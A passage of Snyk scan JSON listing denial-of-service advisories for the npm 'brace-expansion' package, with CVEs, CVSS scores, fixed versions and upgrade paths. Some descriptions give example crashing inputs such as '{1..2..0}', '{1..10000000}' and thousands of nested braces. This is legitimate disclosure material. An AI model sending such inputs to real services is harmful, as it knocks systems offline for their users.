accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", 